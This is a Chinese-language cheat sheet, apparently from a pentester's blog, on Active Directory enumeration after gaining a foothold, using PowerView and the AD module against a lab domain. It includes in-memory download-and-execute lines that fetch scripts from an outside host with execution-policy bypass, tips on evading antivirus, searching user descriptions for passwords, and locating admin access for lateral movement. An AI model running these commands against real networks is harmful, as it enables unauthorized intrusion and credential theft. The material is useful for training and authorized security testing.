域内基本的信息枚举是拿到域内机子之后必不可少的一步,后续操作可以说完全依赖于信息枚举的程度
这里只针对域内信息进行枚举(域用户、域组、ACLs、GPO、OUs、信任关系、一些特殊的账户属性和文件......)
下面列举出Active Directory模块下和使用powerview两种方式进行域内枚举(powerview命令在前,AD的在后,以空行区分)实际情况中域控一般安装有Active Directory模块
Import-Module C:\Users\arksvc\Documents\powerview.ps1
ADModule项目地址,不需要安装RSAT即可使用AD模块:
使用dll导入:
Import-Module D:\ADModule-master\ADModule-master\Microsoft.ActiveDirectory.Management.dll -Verbose
或者直接导入ActiveDirectory.ps1
iex (new-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/Import-ActiveDirectory.ps1');Import-ActiveDirectory
因为是微软签名的模块,所以ActiveDirectory能够达到一定程度的免杀效果、powerview直接被defender识别(powerview实际用起来更方便):
加载到内存执行(只能绕过powershell策略,而不能绕过杀软对powerview的检测)
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/powerview.ps1');Get-NetDomainController"
当前域:
Get-NetDomain (获取到域名、域控制器)
Get-ADDomain
列举其他域:
Get-NetDomain -Domain cascade.local
.
Get-ADDomain -Identity cascade.local
当前域sid:
Get-DomainSid
.
(Get-ADDomain).DomainSid
获取当前域策略:(只有powerview有这个模块) -----(系统最小/最大密码长度、Kerberos票据时效等)
Get-DomainPolicy
(Get-DomainPolicy)."System access"
(Get-DomainPolicy)."kerberos policy"
获取其他域策略:(只有powerview有这个模块)
Get-DomainPolicy -Domain cascade.local
(Get-DomainPolicy -Domain cascade.local)."System access"
定位域控制器:(域控IP、Hostname、操作系统版本等信息)
Get-NetDomainController
.
Get-ADDomainController
定位其他域域控:
Get-NetDomainController -Domain cascade.local
.
Get-ADDomainController -DomainName cascade.local -Discover
域用户信息
Get-NetUser
Get-NetUser -Username Administrator
.
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity Administrato -Properties *
用户属性信息:(灵活过滤,显示想要的信息)
Get-UserProperty
Get-UserProperty -Properties pwdlastset (用户最近一次设置密码时间)
Get-Userproperty -Properties badpwdcount (用户尝试使用错误密码登录帐户的次数。值为0表示该值未知,【可尝试错误登录域中用户,然后查看badpwdcount是否增加,不增加的话存在爆破的可能性】)
Get-Userproperty -Properties logoncount(帐户成功登录的次数。值为0表示该值未知。)
.
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
Get-ADUser -Filter * -Properties * | select name,badpwdcount
查找属性中的用户特殊值
Discription 区域有时候会被管理员用于相当于备忘录的功能,能够得到不少有用的信息
Find-UserField -SearchField Description –SearchTerm “built” ###获取Built-in account
Find-UserField -SearchField Description –SearchTerm “pass”
.
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description
Get-ADUser -Filter 'Description -like "*pass*"' -Properties Description | select name,Description
获取域内机子信息:
Get-NetComputer
Get-NetComputer -OperatingSystem "*server 2008*" (探测特定操作系统机子)
Get-NetComputer -Ping (ping探测存活主机)
Get-NetComputer -Fulldata
.
Get-ADComputer -Filter * -Proterties *
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -Computer $_.DnsHostName}
获取组信息:
Get-NetGroup
Get-NetGroup -GroupName *admin* ###组名含有admin的组
Get-NetGroup 'Domian Admins' -Fulldata
Get-NetGroup -domain cascade.local
.
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
列出组成员信息:
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-NetGroup –UserName Administrator
.
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADPrincipalGroupMembership -Identity administrator
列出目标机子组及成员信息:(需要管理员权限运行)
Get-NetLocalGroup -ComputerName CASC-DC1.cascade.local -Recurse ###域控组上用户
Get-NetLocalGroup -ComputerName CASC-DC1.cascade.local -ListGroups #域控上的组
目标机子登录用户信息:
Get-NetLoggedon -ComputerName CASC-DC1.cascade.local (目标机子上活跃用户,需要管理员权限)
Get-LoggedonLocal -ComputerName CASC-DC1.cascade.local (目标机子已登录用户,需要目标机子开启远程注册表功能)
Get-LastLoggedon -ComputerName CASC-DC1.cascade.local (目标机子最近登录用户,需要管理权+本机在目标机子开启远程注册表)
当前域共享:
Invoke-ShareFinder -Verbose
敏感文件:
Invoke-FileFinder -Verbose
文件服务:
Get-NetFileServer
(GPO组策略对象可用于提权、后门、权限维持,利用GPO中的计划任务远程执行等)
Group Policy组策略用于集中式管理域内计算机,通过配置组策略可以对域中的用户、用户组、计算机进行不同维度的管理,如安全配置、注册表配置、软件安装配置、开关机与登入登出管理等
GPO组策略对象用于存储这些配置策略(GPO由GPC(组策略容器)和GPT(组策略模板)组成)
OU:是“可用于将大多数其他对象和类出于管理目的组合在一起的通用容器”,组织通常会使用OU来组织基于部门和/或地理位置的实体
获取当前域GPO列表
Get-NetGPO
Get-NetGPO | select displayname
Get-NetGPO -ComputerName CASC-DC1.cascade.local ##获取目标机器GPO
Get-NetGPOGroup ###查找groups.xml中的用户
Find-GPOComputerAdmin –Computername CASC-DC1.cascade.local ###通过GPO查找目标机器有管理权限的用户
Find-GPOLocation -UserName arksvc ###通过GPO查找xxxx用户在域内哪些机子有管理员权限
获取域OU:
Get-NetOU -Fulldata
.
Get-ADOrganizationalUnit -Filter * -Properties *
查询应用在某OU上的GPO:
Get-NetGPO -GPOname '{322FEA29-156D-4476-8A06-1935A3525C1C}' ###通过Get-NetOU获取到gplink(如上图)
(可用于提权、如Exchange、Enterprise Key admins)
对域对象有WriteDacl权限===>DCSync (通过为指定用户添加ACE实现)(ACL是一个ACE列表)
ACL是一组规则,用于定义哪些实体对特定AD对象具有哪些权限。这些对象可以是用户帐户,组,计算机帐户,域本身等,ACL分为SACL(System ACL)和DACL(Discretionanly ACL)
对象的ACL中,包含一个访问控制项(ACE),ACE定义了身份和在OU和/或降级对象上应用的相应权限。
通过下面的模型理解他们之间的关系
获得ACL的关联项:
Get-ObjectAcl -SamAccountName Administrator -ResolveGUIDs
Get-ObjectAcl -ADSPrefix 'CN=Administrator,CN=Users' -Verbos
Active Directory模块:
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=cascade,DC=local').access
通过Ldap进行查询:
Get-ObjectAcl -ADSpath 'LDAP://CN=Administrator,CN=Users,DC=cascade,DC=local' -ResolveGUIDs -Verbos
查找ACEs:
Invoke-ACLScanner -ResolveGUIDs
通过特定路径查找ACLs
Get-PathAcl -Path "\\CASC-DC1.cascade.local\\sysvol"
查找有权限修改ACL的用户
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
Forest间的域课通过建立信任关系进行跨域访问(存在单向信任、双向信任、父子信任、树根信任以及外部信任)
Get-NetDomainTrust
Get-NetDomainTrust -Domain CASC-DC1.cascade.local
.
Get-ADTrust
Get-ADTrust -Identity CASC-DC1.cascade.local
林:
获取林详情:
Get-NetForest
Get-NetForest -Forest htb.local
.
Get-ADForest
Get-ADForest -Identity htb.local
获取林内的域:
Get-NetForestDomain
Get-NetForestDomain -Foresr htb.local
.
(Get-ADForest).Domains
当前林目录:
Get-NetForestCatalog
林间信任:
Get-NetForestTrust
列出域中当前用户有权限的机器:
Find-LocalAdminAccess -Verbose
(这条命令向域控发出Get-NetComputer获取机器列表,然后在每台机器上执行Invoke-CheckLocalAdminAcess)
Find-LocalAdminAccess不能执行,可用WMI和powershell Remoting等远程管理工具代替探测,(Find-WMILocalAdminAccess.ps1)
查找域内所有机器本地管理员:
Invoke-EnumerateLocalAdmin ###需要本地管理员权限
(这条命令向域控发出Get-NetComputer获取机器列表,然后在每台机器上执行Get-NetLocalGroup)
查找域管/特定用户/组登录过的机子:
Invoke-UserHunter
Invoke-UserHunter -Stealth
Invoke-UserHunter -UserName arksvc
Invoke-UserHunter -GroupName "RDP Users"
查找域管理员登录且当前用户有权限的机子
Invoke-UserHunter -CheckAccess
这里主要依赖于powershell对域进行信息枚举,从最开始先对域基本信息进行枚举、依借这些进一步枚举到域组、域用户、域策略、ACL、等关键信息,层层递进,最后信息整合,增大攻击面,为域内横向、域控提权提供必要的信息支撑。powershell的便捷和隐蔽性无疑是一大助力
看一些国外大牛的案例中,一些很难拿下的域控,最后通过这些收集的信息整合最后拼凑出一条路的案例直通DC的也有。
powerview功能丰富且便捷,但也由于太过于出名,早已经被加入黑名单,可自行修改函数尝试绕过。实在不行这里还有微软签名的Actice Directory供君选择
链接:
https://mlcsec.com/active-directory-domain-enumeration/#
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview
https://0xdarkvortex.dev/index.php/2019/01/01/active-directory-penetration-dojo-ad-environment-enumeration-1/
https://blog.riskivy.com/fun_with_acl_and_gpo/